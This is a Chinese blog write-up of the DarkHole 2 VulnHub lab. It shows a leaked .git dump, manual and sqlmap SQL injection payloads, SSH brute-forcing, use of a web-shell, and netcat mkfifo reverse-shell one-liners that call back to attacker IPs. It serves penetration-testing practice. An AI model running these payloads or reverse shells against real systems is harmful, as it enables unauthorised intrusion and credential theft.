Vulnhub打靶记录:darkhole_2

相关信息

kali:10.0.0.9/24

靶机:10.0.0.10/24

靶机介绍:DarkHole: 2 ~ VulnHub

靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip

目标:root权限 + 两个 flag

难度:高

未提及的相关知识点,命令和代码等等可以查看我其他三个blog:

文字思路

全流程思路

  • 主机发现 端口扫描
  • git库泄露:重点熟悉各种工具的使用,确定各种工具的优劣
  • 源码分析:主要通过各个版本的评论,掌握相关的 git命令
  • 本地端口转发 本地信息搜集
  • 密码爆破:非常非常重要
  • 水平提权1,2 ROOT提权1,2

下意识的操作

  1. 密码爆破,任何可以爆破的都要尝试
  2. 任何可以控制变量的地方都要进行相关的注入测试
  3. .bash_history的查看

主要的知识点

  1. 手工 sql注入
  2. .git库的泄露和获取方式

具体流程

信息搜集

  1. 发现主机,端口扫描,服务确认。通过 nmap的脚本扫描直接发现 80:web是有个 .git文件的泄露,而且该 .git是有开发人员的相关评论:将网站更新的更加安全了。当然也开启了 22:ssh服务。

    image-20230616085237558
  2. 打开 80端口的网站,查看页面源码,有相关的登陆页面都是没有什么收获的,即使进行了简单的 sql注入测试。

    image-20230616085418421 image-20230616085403821
  3. 进而转到./git的访问,但是通过浏览器访问是无法查看源码的必须将 .git克隆到本地上进行查看。键入:wget -r http://10.0.0.10/.git就可以递归的下载 web网页上泄露的.git文件。 .git的文件夹结构

    image-20230616085553590
  4. 进入到 wget到的文件夹查看 ./git的相关信息:

    • git log:查看相关的日志记录中的注释和评论。其中第二个评论尤为关键:我在login.php中添加了一个默认的登陆用户,而目标有存在 .git泄露,那么进行过往版本的获取,然后进行白盒审计获取默认的账户和密码就成了下一步的思路。

      image-20230616090756825 image-20230616090019640
    • git clone . backup:但当尝试使用给命令进行克隆的时候是发现有问题的,提示确实相关的分支。表明使用 wget方法获得 .git是有问题的。

  5. 使用 githack工具重新获得 .git文件,进入后进行相关的文件审计。githack工具的使用

    • cat login.phpmysqli_real_escape_string:该函数也解释了为什么尝试对登陆框进行sql注入是无法成功的原因,特使的字符都被该函数进行了过滤😭。

      image-20230618183758372
    • cat config.php:获得靶机上的一个数据库配置文件,root : darkhole_2 ➡️ 密码复用

      image-20230618185313534

      但是当尝试查看往届版本使用 git log时发现查看的 loggithack的日志,而非 .git的日志,而且提示我们

      image-20230618185340843

      表明 githack并不是将原原本本的 .git文件克隆下来,所以使用另一个工具。

  6. 使用 gitdumper后,再次进入获取的 .git文件,使用 git命令获取以前版本的源码。gitdumper使用

    • 进入目录后直接使用 git checkout a4d900a8d85e8938d3601f3cef113ee293028e10:后面的一串就是原来版本的 commit

      image-20230618191408027
    • cat login.php:查看上一个有默认的账户和密码的登陆代码获取:lush@admin.com : 321 ➡️ 密码的复用

      image-20230618190813234

进入后台

  1. 通过获取的账号进入后台,但由于源码是请求了 google导致我们访问的速度非常的慢。常规的进行源码查看,通过burpsuite获取数据包,直接进行 sqlmap检测。

    image-20230618192145129

sql注入

sqlmap自动化方式

  1. sqlmap -r sql.txt 直接使用数据包来指定对象,发现 url中的 id就是注入点。

    image-20230618193630097

    image-20230618193819395
  2. sqlmap -r sql.txt -p id --dbs 获取库名

    image-20230618193905566

  3. sqlmap -r sql.txt -p id --D darkhole_2 --tables :获取表名

    image-20230618194619904

  4. sqlmap -r sql.txt -p id -D darkhole_2 -T ssh users --dump :获ssh的登陆密码为:jehad : fool

    image-20230618194753767

手工注入

由于网页请求的 google的相关地址,可以通过 burpsuite中的 Match and replace rules功能给替换掉,从而让手动的 sql注入更加快,更加的便捷。同时注意一下两点:1,url中的 +是空格 2,--注释后面必须有空格才能生效

  1. 确认注入点,id=1后键入 '后无法正常访问,一片空白,当 id=2其他数值的时一样的结果。表明以下两点:

    • 是存在 sql注入的。
    • 后台中的数据只有 id=1,其他 2,3,4等数据是不存在的。
    image-20230618200637291
  2. 当进行永真永假的测试时是有不同的,当永真时是有数据回显的,而永假时是没有数据回显的。可以断定 id值就是 char型,而非 int型的数据。

    image-20230618203140307 image-20230618203152562
  3. 通过 order by来确定列数为 6

    image-20230619082101904
  4. union来确定显示的内容分别是第几列的数据。

    image-20230619082717535
  5. 通过 database()函数确定库名

    image-20230619083504861
  6. 确定库中的表名为 ssh

    id=2%27+union+select+1,table_name,3,4,5,6+from+information_schema.tables+where+table_schema=%27darkhole_2%27;--+
    
    image-20230619084024361
  7. 获取 ssh表中存在的字段:id,pass,user

    id=2%27+union+select+1,GROUP_CONCAT(column_name),3,4,5,6+from+information_schema.columns+where+table_name=%27ssh%27;--+          # 其中需要说明的就是 GROUP_CONCAT函数。如果不使用该函数,查询只会返还一个列名:id,因为该web只取返回结果的第一行来显示,但是当使用该函数后会把查询的结果合并起来视为一个结果进行返回,从而达到全部列都显示的结果。
    # 之所以让id=2是为了让正常的查询没有信息返回,从而让web在获取数据时会使用恶意获取的数据。进而将其回显。
    
    image-20230619084300018
  8. 接下来就是获取相关的数据库内容了。获得 ssh的用户名和密码:jehad : fool

    image-20230619085146602

登陆ssh/信息搜集

  1. sqlmap获取的账户密码尝试进行 ssh登陆,并进行相关的信息搜集。发现三个普通用户是用 bash的:jehad, lama, losy。查看内核版本和系统的发现版本,发现 2021-2493的那个漏洞是无法是使用的。

    image-20230618195416169
  2. 进一步进行信息收集,发现在jehad的主目录下是有个 .bash_history文件,这个非常非常重要

    • .bash_history该文件就是用来记录 shell输入了哪些命令的。

      image-20230619141249569
    • 这个命令记录提示我们在目标网站的 999或者 9999端口上存在一个网页,而该网页是有 cmd这个可以执行系统命令的参数的,但是否只对 localhost开放就需要进一步测试了。 image-20230619141331384

      而且当进一步进行审计的时候发现这个靶机好像已经被他人渗透过了,甚至能够找到反弹 shell的使用记录。

      rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>&1|nc%20192.168.135.128%204242%20>/tmp/f

    • 验证是否真的存在这个 9999端口,结果不需要多说。尤其注意 losy这条记录,表明该服务的开启过程:先使用 bash进入到 opt/web目录,然后利用 php启用了一个端口。

      image-20230619141746967

    • 查看上述目录发现里面竟然有个 web-shell的后门代码,而且它的属主是 losy。所以可以是反弹 shell后的身份就是losy了。

      image-20230619142015056

提权

  1. 结合上面的信息发现和 nc反弹的方法,尝试反弹 shell发现成功。最好在 /tmp目录下执行命令(记得进行url编码,同时在 .bash_history中发现反弹 shell的命令是有问题的,使用一下反弹shell最好)

    rm /tmp/f; mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.9 4444 >/tmp/f 
    
    image-20230619150659960
  2. 成功拿到 shell后进行相关的信息搜集

  3. 所以直接 sudo pythoh一个子 bash就可以完成提权,查看 flag了。

    image-20230619154144841

相关工具/命令

命令

ssh

  1. what?

    linux中用来进行 ssh连接的命令

  2. 具体使用

    1. 通过 ssh实现和连接主机的端口转发:

      • 本地端口转发(Local Port Forwarding): 在本地端口转发中,远程服务器上的端口被转发到本地机器上。这样,您可以通过连接本地机器上的某个端口来访问远程服务器上的服务

        ssh -L <本地端口>:<目标服务器IP>:<目标端口> <用户名>@<远程服务器IP>
        ssh -L 8888:localhost:80 username@remote_server_ip
        
      • 远程端口转发(Remote Port Forwarding): 在远程端口转发中,本地机器上的端口被转发到远程服务器上。这样,您可以通过连接远程服务器上的某个端口来访问本地机器上的服务。

        ssh -R <远程端口>:<本地机器IP>:<本地端口> <用户名>@<远程服务器IP>
        ssh -R 8888:localhost:80 username@remote_server_ip
        

git

  1. what?

    一个流行的版本控制系统,提供了许多命令行工具来管理代码仓库。

  2. 具体实例

    1. git log:进入某个 repository后键入,就可以可视化的查看该 repository's log

    2. 进行版本切换的方法:

      1. 使用git log命令查看提交历史记录。这将显示所有提交的日志信息,包括每个提交的哈希值(commit hash)、作者、日期和提交消息。

      2. 找到你要回溯到的特定版本的哈希值(commit hash)或标签(tag)。

      3. 使用git checkout命令进行版本切换。有两种常见的方式:

        a. 如果你要回溯到特定的提交(通过哈希值或短哈希值),可以使用以下命令:git checkout <commit_hash>

        ​ 这将将你的工作区切换到指定的提交,并将HEAD指针移动到该提交。

        b. 如果你要回溯到特定的标签,可以使用以下命令:git checkout <tag_name>

        ​ 这将将你的工作区切换到带有指定标签的提交,并将HEAD指针移动到该提交。

        注意:切换到特定版本会使你进入"分离头指针"状态,这意味着你处于一个游离于分支的状态。如果你想在特定版本上进行修改并将其保留,你可以创建一个新的分支:git checkout -b <new_branch_name>

工具

wget

通过 wget -r http://10.90.0.0/.git命令是可以递归的获取泄露的 .git文件夹,但是这是存在部分问题,导致不能完全使用 git的功能。不建议

githack.git

  1. what? 返回

    GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

    同样这个工具只能获得最新的 .git,无法实施 git命令。

  2. 如何使用

    image-20230618183635857
    • git clone https://gitee.com/rsyncf/git-hack2.git:将工具克隆下来
    • python3 GitHack.py http://10.0.0.10/.git/:进入 repository中找到脚本,按照上述命令自接执行。

git_dumper.git

  1. what? 返回

    A tool to dump a git repository from a website。这个工具 dumpgit是完整的,可以使用全部 git相关命令的。

  2. 如何使用

    image-20230618190451170
    • git clone https://gitee.com/cc-hl/git-dumper.git:克隆下工具
    • python3 git_dumper.py http://10.0.0.10/.git /root/25:使用工具将泄露的 .git获取到指定的 /root/25下面,但是要注意一下两个点,工具都会提醒使用者的,注意就好:
      • pip3 install dulwich:安装该模块
      • /root/25:必须指定存放路径

复盘/相关知识

复盘

另一种功能提权方式:爆破

  1. 对发现的 lama进行 ssh爆破,发现该用户的密码更加的简单为 123

    image-20230619160031089

  2. su lama成该用户后,发现该用户的权限更加的夸张,更加的简单😂,很离谱。

    image-20230619160314072

ssh的端口转发

重要

.bash_history

用来记录在 bash是输入过的命令。

url的+号

url中是没有空格的,其中 +是表示空格的

.git的文件夹结构

返回

  1. branches/: 存储分支(branch)的相关信息。每个分支都被保存在一个以分支名称命名的文件中。
  2. hooks/: 包含Git钩子(hooks)的脚本文件。Git钩子允许在特定事件发生时触发自定义脚本。
  3. info/: 存储一些额外的关于仓库的信息,如exclude文件用于指定不希望被Git跟踪的文件模式。
  4. objects/: 存储Git对象(objects),包括提交(commits)、树(trees)和文件内容(blobs)。这个目录是Git的核心数据库,使用SHA-1哈希值来命名每个对象的文件名。
  5. refs/: 存储引用(refs),包括分支、标签和远程引用。每个引用都以文件的形式存在于该目录下。
    • refs/heads/: 存储本地分支的引用。
    • refs/tags/: 存储标签的引用。
    • refs/remotes/: 存储远程分支的引用。
  6. logs/: 包含引用更新的日志信息,包括分支引用的历史记录。
  7. config: 存储仓库的配置信息,如用户名、邮箱、远程仓库等。
  8. HEAD: 指向当前所在分支的引用。它通常包含指向refs/heads/下某个分支的指针。
  9. index: 包含了暂存区(stage)的索引信息,记录了下一次提交将包含的文件和目录。是一个存二进制文件
  10. COMMIT_EDITMSG: 在进行提交时用于编辑提交信息的临时文件。
posted @ 2023-07-01 19:15  C_CHL  阅读(14)  评论(0编辑  收藏  举报